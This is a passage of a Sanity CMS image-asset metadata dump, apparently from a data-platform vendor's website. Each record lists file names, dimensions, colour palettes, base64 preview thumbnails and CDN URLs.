l4RRoyODRkHtZq5YOPnqRI/y2b7OzLLr/XpC/Mo1dF8hMDGk8c4esFRbnWqtI8UlmSaxPsKs5FVXEeqorzSVVRPqkpLrTUVlYMX2moF0gk0heFXVpa6pqTk/M2vT9pNS92A32M599Uyl/9uGL/CkaQwrEKeMuJINGPlMX5EQF3BanYutpaudmfqYz5ejh/a9Slo7sTQ7Oysl60nq2xMzMz3Wmannc0JWBp05ElUYqTC6pVJ+Yoeg7PGOnlezC9SW6kN3Ea6eHOYXo3e+t6It7tUm5gV9wO+Cz0zMqV80NedRwb3a4mjhOEbrNR6fY5Ct1ScJpVjcPOLSTVUUySp4qtCR4t4M6rQoxPEsKWLcc69n/b18sGS7EM2Swv83HWR68arHnLTN//bbAvQW0uxKGcsIdiEZryIImUh23+ui/gb4f9WGwXcA6AAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293959","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042484","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa750d","foreground":"#fff","population":6.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbbcd","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e779a3","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6689a3","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa750d","foreground":"#fff","population":6.88,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"laptop-aiven-integrations-and-connectors.png","path":"images/sczeoy4w/production/217ebf74b2f64043e02cfa3b1783ccf3b440c632-2500x2500.png","sha1hash":"217ebf74b2f64043e02cfa3b1783ccf3b440c632","size":376300,"title":null,"uploadId":"4tjPwN4I0PqGOA8Wn5spFBQulLaZ7h43","url":"https://cdn.sanity.io/images/sczeoy4w/production/217ebf74b2f64043e02cfa3b1783ccf3b440c632-2500x2500.png"} {"_createdAt":"2024-09-30T11:59:44Z","_id":"image-58c932a1e9249582d8aca182798d4e9c9340928c-2048x1536-jpg","_rev":"1U5rBVnZYn4alWirhVKGad","_type":"sanity.imageAsset","_updatedAt":"2024-09-30T11:59:44Z","assetId":"58c932a1e9249582d8aca182798d4e9c9340928c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBFreM_3xw9bWG1QM_9vf-NyD.-pxtS4WW{^tS?FjYob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":1536,"width":2048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgADBP/EACUQAAIBAwMCBwAAAAAAAAAAAAECAwAEBQYRMRITFCEiM0FRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAEDBP/EAB4RAAEDBAMAAAAAAAAAAAAAAAABAhEDEhRSBCEx/9oADAMBAAIRAxEAPwA5h8hpK6Ekd0ssLFmUqhPH1+VxX2J0NDOsUMk8bjzLFCQpPFPL1tHGFnXEbMRuWUEE0Ev8pYd+bwEbxwyemTrAYsPjnisjqr0ddHpZOP1Fxky6dhdkjmuWUHkR81Uyx+Zxz2kZNpENht7YqpzHaDhLuf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523c2b","foreground":"#fff","population":6.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#714716","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dac5b0","foreground":"#000","population":6.46,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dac5b0","foreground":"#000","population":6.46,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edd1b5","foreground":"#000","population":0.88,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17a57","foreground":"#fff","population":2.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49645","foreground":"#000","population":1.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1725476736308.jfif","path":"images/sczeoy4w/production/58c932a1e9249582d8aca182798d4e9c9340928c-2048x1536.jpg","sha1hash":"58c932a1e9249582d8aca182798d4e9c9340928c","size":496754,"uploadId":"zKsqf1N4Wti79jIGYG9bvnDUYrbA1mMb","url":"https://cdn.sanity.io/images/sczeoy4w/production/58c932a1e9249582d8aca182798d4e9c9340928c-2048x1536.jpg"} {"_createdAt":"2024-09-30T12:06:08Z","_id":"image-c67146e3861fda9b1ca81a34228b5058162c1356-1440x856-webp","_rev":"8q08tYxGNL2qfrtMKLKSvg","_type":"sanity.imageAsset","_updatedAt":"2024-09-30T12:06:08Z","assetId":"c67146e3861fda9b1ca81a34228b5058162c1356","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSJQ_~-oE19aIp.Tt7IUad$%ELV@t6R+n+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6822429906542056,"height":856,"width":1440},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAPoAAAD6AG1e1JrAAADcUlEQVQokRXQ204TdgDA4T6GybKLLXOLMYTEZUGXzcAOjjlOgiCMM6WUcm4pDKTUHoDSQitQoJSeaKHSFigERZgGZFgQBTZgTl2NDt2yq72Aifx/iy/wXXyS6yNTb3usLtGus2AfHRObGxvEnzzl6MUR/7z+l5cv/+bZ8yN2dvYITk7RZexG1dRESZUCk3eanVf/icP4K7yOUVFbmv9W0mvziRZNv5DXNGE0GkQ4FGI6OMNsdIndvUP+ij/n9R/7HGytEQmF6bcNo2pupVCmoNsd5ObDx2J68S5GvVHUVRQLychIgC69jtb6QmHUqnA4x9H3DNNl87CyGuPp3m88vrfG1lKUuUiEMbef1rZ2corLaDZa6Hd4qGvRiqJSObWV5UhcDr/o6+kU6obL6LSNIjAZwO2cwOcNEottsn1/i5kbiwTcAeamp5mZDqLTXiUjOw9ZdQOaDp3ILW4iNVsuFDK5kHjHAvhcHixmA9brZpaXFnm0epdf1+4QP9hl/9E2N6Yi9FkGcTmcRIMTWLs6KSsup0WlQasd4dtcA+e+b6S8TI7ENexlJhhlYWaBm5EID1cWid9bJr6+wou9LY6e7PNgbQXXgAV7l44F9yizziFGek0433XZlrhQ6OB8mppq6TtwcIyA0080EGItGOBw1k/8VpjfV+Y5+OUOf+7EeLA8i8OgwlpfzLy5k1XXILfGh1m6ESY0uUyvKYxJY2XCdA3JvMOOx2xhQKtjsltPzGNnL+wjFvKzHo2weXueec8A7fICFJkpWCpy8Koq8V1t4OfhHnaDDrYnncQ8A9x3diOxK6vENWmhqLmSjbaqRES7mlm3drA61MOcYwDfkAWnpRO9sgJZbipVGcm05qVikl5mvLkUf5tU+NpkeH6SCae6QkgufnaKzPNnyL2YLFqkmdw2F/JsXMbBmBKvpgpFfhryKz+gLM+moSSTuqJ0OuT59LVU0qeWoakupLEoWyjyM6jOS0PyVdLp44L0FCErukRrbbZYGPmRw1k5G+4azPVZZH2ZSMqnp/gmKZELn58h6+uzyPJS6awvxqZtxN7TJmyGVjqbq0VNef6xRF1d8EavrjpWK0qpleYIm7GMiWElg70qassu8V3Sab5I+IizCZ+QcPIDPnzvBCffP8G5xI8pSk/GoCwTPpsG76D+uFerfPM//vpwemhCTYYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4037","foreground":"#fff","population":5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19356d","foreground":"#fff","population":2.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a17b64","foreground":"#fff","population":6.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb9ad","foreground":"#000","population":2.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2bda9","foreground":"#000","population":3.97,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17b64","foreground":"#fff","population":6.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1cc64","foreground":"#000","population":1.16,"title":"#000"}}},"mimeType":"image/webp","originalFilename":"filters_focal(740x440_741x441) (2).webp","path":"images/sczeoy4w/production/c67146e3861fda9b1ca81a34228b5058162c1356-1440x856.webp","sha1hash":"c67146e3861fda9b1ca81a34228b5058162c1356","size":59226,"uploadId":"0L4Sg04aNSearcxTlCslPowwgPcKwZ4m","url":"https://cdn.sanity.io/images/sczeoy4w/production/c67146e3861fda9b1ca81a34228b5058162c1356-1440x856.webp"} {"_createdAt":"2024-09-30T12:06:35Z","_id":"image-01b030335c5612abed4c9736f747584d8fc1a9f9-1440x856-webp","_rev":"1U5rBVnZYn4alWirhVOS8v","_type":"sanity.imageAsset","_updatedAt":"2024-09-30T12:06:35Z","assetId":"01b030335c5612abed4c9736f747584d8fc1a9f9","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIG*f[}QRpsCI;=xn-D+xZ-oR4%NS5Ios8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6822429906542056,"height":856,"width":1440},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAPoAAAD6AG1e1JrAAADX0lEQVQokQXBCU/bZQDA4X4FlQ2nZMQtCptRYTDuu9BBD3pQSmn7Ly20pSCFQlsG9EJopVwb10Z3cAzGZIAMFtAFlUSjLib6gZaM9+fzyGai3e9XQm3it7sS/4bcYs3tIdIbZH1xglcPfexNSRynHJzPmfljoZXVu2qMqhp0Oh2J+BgriZjo1LZRkK8QuYXq97LN1IA4SDjFecTGr752seaxkfR1sfydi80ZB7vTHl6n3JwmJY6+l3g6bsFjUaLVqBgfHmRldETYNRa+KjOImwqbkD0OWNgcMLDlUYlH7fVMGuro11XhNpTQKylIDbs4mvdydl/iecLOfLgDr12LQl6D02hkWOqiXe8QhQ1mPq9qQRY2VIiYpkiktKXMGapF0lBN1FhFwFxNr0NLbLiLw3Qff237+SHRS8wrYWtRU1pSTE1JGTa1QditLur1NnGtQCFkYdsdJoylpG1yDrwtHA9J7EfsPBwxE/GZCQ3aSS+NcvZ8kcPwGLM2B26TierqKkoKCzCqVXQ7nbSabZTUapBN+szMuRvZcKs4cRt4G3FzPNVDyKVGqyhHra7HFxxgeWmZFxPT7EUmWE2l6PN2U1tcTENlGZ4OK0MDfvzBKLLxQQupb1U8cTWxZ1FyOiTxOOqkwyKnrq6QWnk5ujYjfaEQy9MznG1t8udPJ6wvLuJo1mFQqhgdGSP9ZIf1Fz8jiw2YmPcr2Q/oeBMy8TJuYypuwetvQnLVYbY20qxvolmror/TzrPkOH/vbHC+/Yz0zAKzs6ukN49Yf3nOysYbZJEulXgQ1Itf7tn4b6NVnKzeIR6T4xqsw+Orx+PWoNc1UFqcT/XtPLo1jTzw93C4ssTB7ilrO2difvUV8dSm6A/OClm4rYn7wQ5+XHKK39freb1wi8mhIvrcdYz0NjPY2YxSXsqN3Gt8lp3F119cR1lWRI/VSnQsyVh4lj5fVDidfkxGB7JgbeVF0m0V6YSXral2sR1t5umwkbVhiY2ARNyuoamygJzrV/nkyiUyMzPI+vQKN3NzqKqoQtOoFnq1FoO2Rei1LRcyT/4375JWw8VGIsDuvYg4nQ/zdiXOP4tj7AfsRE0NtCrKuJ2XS3bWx1zK+ICPMj7kcuZlsrOv8uWNHFF4K4/K8oqLmtr6d/8D0aEVmTMlbV4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56302a","foreground":"#fff","population":5.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#784512","foreground":"#fff","population":0.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb59c","foreground":"#000","population":5.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aab6ba","foreground":"#000","population":5.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb59c","foreground":"#000","population":5.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57558","foreground":"#fff","population":1.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1a326","foreground":"#000","population":2.56,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"filters_focal(740x440_741x441).webp","path":"images/sczeoy4w/production/01b030335c5612abed4c9736f747584d8fc1a9f9-1440x856.webp","sha1hash":"01b030335c5612abed4c9736f747584d8fc1a9f9","size":140872,"uploadId":"jynEKCTJAhpjQLEXAIwnwddwa9npKlzh","url":"https://cdn.sanity.io/images/sczeoy4w/production/01b030335c5612abed4c9736f747584d8fc1a9f9-1440x856.webp"} {"_createdAt":"2024-09-30T12:14:07Z","_id":"image-6c4af647df8826e1c3c106c2b7c67c7eed6d969b-1200x630-png","_rev":"1U5rBVnZYn4alWirhVPuRD","_type":"sanity.imageAsset","_updatedAt":"2024-09-30T12:14:07Z","assetId":"6c4af647df8826e1c3c106c2b7c67c7eed6d969b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M38#2JH=r+?R04~mD[-:.59P00-x%Nan?8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbUlEQVQokU3SaU/aAACA4f6CLYvc9AALPShHlVNmuYTJLVJgyBZ1mQQVnEbOAm1pwQrIZM7F37vNfdkPeJL3wwu80bDv9BUVWFPBnzfA4w3jFxVY1yCXWtM3rflWh3YN1iGICxAhw4QEE2MQ44zWod4y0KN9QAVWqe0LJt4LxvoEfaVFzv7HerT3ikWLa+qP3u3l+UDsFqPbIM4ZLBygRT4FI+1STWFr850ot0k2IaxpIm9MZNtMDVDH2GTjzZQYTivNznzA9xutRrZ85QgMIZwHVNAR7W/FM6NERmDiI3+I84fHwZgUjM52E/NwcuVhFnRQOr2S1i/CPX8uD8/GUy5dkU2UDKihI5evFdnnYqlxPDP5kJulCvNMcZVl17nyc6H6ksg/M/tKoz9cv/Sk27NJ9/xuJbGnc9S1ADRwzRO8Th4I6UMpdTjLsvNc6SFffjz4+HRQec6WfkVTT77Ifa7GX3fH7RbXbPSP68JucmZ2LAEtXHO/4lRhkipMM8V5prjMst/z5R/Z0s9Y+tEbWlBexRmY7qWVSvUhV1A8jIA6RYicAmqwat8+Z2LdUGKwGx+FEmJ4X46llL3MMpxcehiF8szwrTvKu/SF1kxi7Y8sSLcMk7wR4wGVvoRZak667vC0cFeLoG+2dga+kOhlJDooEduiySaY7bIzsPKFnzzMig7ek24ZsY0N1hGg0hatcMlGnmCOBmStw/gF5e643/P0jmj3CviWABM8RIgWp4LRyqZ9YrKNYJIzYtxf/FbDqvWsDqpqkWM1fKJBvhotlwhxgxAdmOhCBAdio3+HgfjEYOF0aFeHdnRo70/2byefxdTCYToOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474b78","foreground":"#fff","population":2.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":9.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c2c9df","foreground":"#000","population":9.38,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2c9df","foreground":"#000","population":9.38,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a81c4","foreground":"#fff","population":0.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa4b50","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9b255","foreground":"#000","population":0.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Dojo Jérémy Barneron testimonial.png","path":"images/sczeoy4w/production/6c4af647df8826e1c3c106c2b7c67c7eed6d969b-1200x630.png","sha1hash":"6c4af647df8826e1c3c106c2b7c67c7eed6d969b","size":364587,"uploadId":"1kzeLd0sKTNVJZABW50MWqTFw8l6Q8nk","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c4af647df8826e1c3c106c2b7c67c7eed6d969b-1200x630.png"} {"_createdAt":"2024-09-30T12:14:43Z","_id":"image-9039ec05a32c0b7139fefbf428602c6d769cb5a0-1440x847-webp","_rev":"1U5rBVnZYn4alWirhVPzED","_type":"sanity.imageAsset","_updatedAt":"2024-09-30T12:14:43Z","assetId":"9039ec05a32c0b7139fefbf428602c6d769cb5a0","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8I#3^0000px~q^%0n4oMw.800xI%~$^E3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7001180637544273,"height":847,"width":1440},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAPoAAAD6AG1e1JrAAADhklEQVQokQXBWUwTdgDA4b7NZInH1MRSHRAjRAUDnqADHBY8ymVAxHkgUaBAKRVEy7EyoUyrpQWk7dpCbSmUgqKgIKIwpWLGuIZsyZhO48vefTQh/H/7PklQyIYvETulKwlRUhR7g0RGbDCHdmxim2wdWYpEOixNWJtvoq/JpcemZKxLy0iHlgcWDT2WAvymTNFVG4+tRrFiuKH8ItkcsmFlR4RMxETLSIjcKOK3ryc86GvCNq+jIj+H6VfDLM4FePXMzsSgnlHvNR7bS+i3XcJvO899y2nxyJSGz5QpLObcFUmQbC1h26Xs2xcsjuwLQh6xht1bvuJY1CacPyn58EeA/z4t8G6hjzdP9Tx0XqLfmsmwPYsRxzme3ivmkbNQPLCl02+NQ7J69Soh2/KN2BX9LUnxoSLjoJSUqDWUHtvKkLmEjzPP+Phumvm5QV48MjB0T8XzbhUT3kom268z7dWL2Z465t3HxVv7RiFZv3oV4cHrOBAlIykulB+Sw9Fk7+Xu1VQC7mt8eN3NX39O8mw2wOBAJ+P+NqZGe5n5dYTfB3pY8FlY8tYza1Hwm3EtkvQDwRQkb6U0ZSv5R0OoPhWNoy6PoR4jM0PNLD23sTg9wsuFOYafj/Kw6x7D/b0Exsd4MzrMlP8uk45y+m5l0Nm4G0lbQSyOov1Y8nZyI20z9SfDsevyGbzv4uX9FqZ89bwd9/HP34vMzc/R2+fB+osBu/02HlcLPR4DHkcFzcY8DPpsJF5NgugoPihacyPRKaRUJklpKs3A19aIu6EIr+4ME70tfFpa5P37f3n4ZJAGUz2q63lU1im5banlpqmMquocUa4+ISS+q3LhKo0TLRej+TE9VGjkQWizomm4fBzd2UO0lKUy5DEyPTPF6+l57M52NOp8LmTHUZafhKH+vGi8cY6KijRRXJwoJL5rR/FcScRaECNunYmkNmMb2rQwrqeGUZcVie1qJu5mHQ6XA1OrGW3JRdTZ31N1IQ6j9iStpkL0TUpRrsuhUC1H4rqSvOzSyIVLfRi3Ok50qg/hUcXgLNiD7dIerEWHMarSqSs5TXXBSWovK7ijPYvTVkV7nxmjzyi0rZUoq7LF+cvfLUtsKvlnd3nycn/NcV78nCoChjTG9Sd4UnUEvyaeDmUs5tz9NJ6N4XaxAoe5gu7H7XgDA1jH+kWDv02U3dFwTpWynHYq+vP/5fREH4qNUiwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573738","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76370c","foreground":"#fff","population":0.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a963","foreground":"#000","population":6.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3a1c7","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a963","foreground":"#000","population":6.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aea463","foreground":"#000","population":4.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be3c0e","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"filters_focal(748x440_749x441).webp","path":"images/sczeoy4w/production/9039ec05a32c0b7139fefbf428602c6d769cb5a0-1440x847.webp","sha1hash":"9039ec05a32c0b7139fefbf428602c6d769cb5a0","size":89304,"uploadId":"f16O2eF96yWudh42DwjZsRi6QQRQbdWk","url":"https://cdn.sanity.io/images/sczeoy4w/production/9039ec05a32c0b7139fefbf428602c6d769cb5a0-1440x847.webp"} {"_createdAt":"2024-09-30T12:15:45Z","_id":"image-4f5de7e9b326deaa7ae85e2f5a10021a101da8d8-1200x630-png","_rev":"1U5rBVnZYn4alWirhVQ4dX","_type":"sanity.imageAsset","_updatedAt":"2024-09-30T12:15:45Z","assetId":"4f5de7e9b326deaa7ae85e2f5a10021a101da8d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69tHC0J-e?F02~o9v%M%L9b00^#WFNM^$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACg0lEQVQokU3S2U4TYQBA4XkCDVK6zkY7y98p043pIqXV0g60tIKlQKCEoiIEZBPpwuxt6WqrwaCCF0RJjCQaolduD+BzGbzyAU5yLj7ohj7bZ5rXwYs6ZKkfzvdbHurgNT22acB3DdZ9o61oJkSYUhFQQ0ENoWWYEi2kaCYEk60M6eAFh3czHC+GxsrAvWPAVv+PTbaimRQslEp5GiPRNj+hxcY1LlTHGdVMiJARX7p992A215zNtUNRwcpsweQWBvYwcABTBTNRMhHCoKOayJyo4rtXarMr1vd2X4/EugitQgPIojuwzaekiSktwsv+iOAblQJ3NH+kxvo165BkJkTW3yyJlz8+X/0+63x9Wb04vVhZO7eydUiP5jzBnfikxKfV2KQWTx/x6cbEVCdx/8VYqucJ1TFG8YQ69da3Pz+//zptfenKVxeX2/ufKE8PMmA5LrSXmFKT05XkdG0y00xm2qmZ3r3Z42TmOBhtU+4qwzUebbw/f/vxQ7t6Ipea2pvp+TOb8/n1NsttjcZKkXEhmlDiqRqfbsRTLT7dDY93hnxVnFFwpjI82snOtdfzUn6uEOMVu7eGgBrUZ5pHyRXKuU67NhnvDss9cwXKroDoCirMsIIzgoUUUbvGcG1f+HkgfOTkZIKVMbsC0wp0y5BFkTkruYyDVZh4jFIblGvfwZWZYZF2S9YhCaEkjKk4gz0ucswGOqSrSjg1G6uidhnSGWYINGsHeXJoHSbXEGqD8Ra8I7IrqDp8Cu1RUSAjQCOcTcrdGnRoKBBRcIgAwUKL0E19dsCUNSILBnx5AH2gx1Zh2xMMPMXAAQqKCDi0UKLlnzCErpgIwWgrGm2Fa3mk+Befp8Y4ZVqT1wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444979","foreground":"#fff","population":1.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6f","foreground":"#fff","population":9.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6f","foreground":"#fff","population":9.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c1","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a993","foreground":"#000","population":0.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36f5a","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74043","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Dojo - Elad Leev testimonial.png","path":"images/sczeoy4w/production/4f5de7e9b326deaa7ae85e2f5a10021a101da8d8-1200x630.png","sha1hash":"4f5de7e9b326deaa7ae85e2f5a10021a101da8d8","size":259600,"uploadId":"j0FK4V0aNXRY3yGGFvpQoZoOghzFQIu2","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f5de7e9b326deaa7ae85e2f5a10021a101da8d8-1200x630.png"} {"_createdAt":"2024-10-24T13:55:24Z","_id":"image-a7c0a9bdc1885326e65b816f64432a15cf633673-1650x1272-png","_rev":"bH41C32nCYYyBv2hLCn2H8","_type":"sanity.imageAsset","_updatedAt":"2024-10-24T13:55:24Z","assetId":"a7c0a9bdc1885326e65b816f64432a15cf633673","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOLNlVo~00WB9Gt7jZR*j[fP00i^OYay~WniW=jFWVj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2971698113207548,"height":1272,"width":1650},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAADIklEQVR4nIVUTWhcVRR+TR2btIUuWiiVUrSIokGt6MKFUFCoPwjBbbuoUBqlCDIVik2R2YiShRsphUk3pV0UBhtMKg6N2LpIooljkxpNm2lk7JgxaabzZt59792/d8/9yn2Z1CyiPfBdDodzv/e45/uO560TpRIyjLEdzWa0j7G4hzFxxMFncY+r1RjbASADYIP3sKhUKp1BIJ8WQryXJEneEF01hn5t46pOkjxX6rDrAdD5n0Tua+VyeVOoVLfWpo+IxoioDkABIAciUq5mDI25HqVUN4BH1yUDsJFz7JHaZImoZK3lbSJrrXUHXN4m5q5HSp3lnO8B0PEvmedtwOn9W1vnjzzJb/54UMXNK0QUti9bIoIxK3A5EaWkADFjzGUhxAHUapuRy3U4Lg+9XiYs9D7Hv//8pLwxWNT1+aVECfcX0Fqj1WJYXm6kcLnWCWC0tZobMuqW5NEJsTS3F4Uvu4Bch1fNvtIVjZ59W1fGRnTtRiAWy0nMmoi5RKPRxB+zZYyPl1LMzt5GEIRQPERSn7f090TDzHw9ZIaPvY8zL7+I089u9aY/fn4LK11419yd+Tmpz5n4nznL/HtoshjVhSWMjv6CwcEiLl0qpqR3lxsIWw3ImyNA8RNJ59+p0lfPFNG//QP0b3/Mq2Z3d0XFT9/QUxcu61vf3VO1Ga3iAFJpLNd9TExMYXh4BENDI5icnEbDb0FGLSS3f7BUPBGagdem6bNd5+ypzkM4uWWnh9z+R4KBt57yLx77MBg/942uzy9SoshNlQuJO3cWcP367ylcLoQEaWltsGBM9ac/1diZftH/6uv4aNvjyO7uSqdcy+3aPPnFwb2130YPKR5eIUI6ZWOMjWORvqVDHHO4Wioco0Ot+bei1XjTL+S3ofelDOCtOCeXy3Xk86XMX4viCSnNcacxohUdOpkkiUmxKpm1OvSdDguFjQ/I1urROcWpX0rd59zgXEFEelWTzjWrTpHa9IWh6nZ3Uv09zMtKqcNaJwPG0DVjaKqNa1rTAy9XKv/j5bWxum18P3rB9+OeKBJHWSSOutzV3LZxPettm/sgYy1yH8BXwQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a402a","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2a04","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87306","foreground":"#fff","population":2.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcec94","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#768984","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87306","foreground":"#fff","population":2.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-app-metrics-storage.png","path":"images/sczeoy4w/production/a7c0a9bdc1885326e65b816f64432a15cf633673-1650x1272.png","sha1hash":"a7c0a9bdc1885326e65b816f64432a15cf633673","size":37247,"uploadId":"WkBgvTc0EGZB6yygMthcYYQ6vEk5B57N","url":"https://cdn.sanity.io/images/sczeoy4w/production/a7c0a9bdc1885326e65b816f64432a15cf633673-1650x1272.png"} 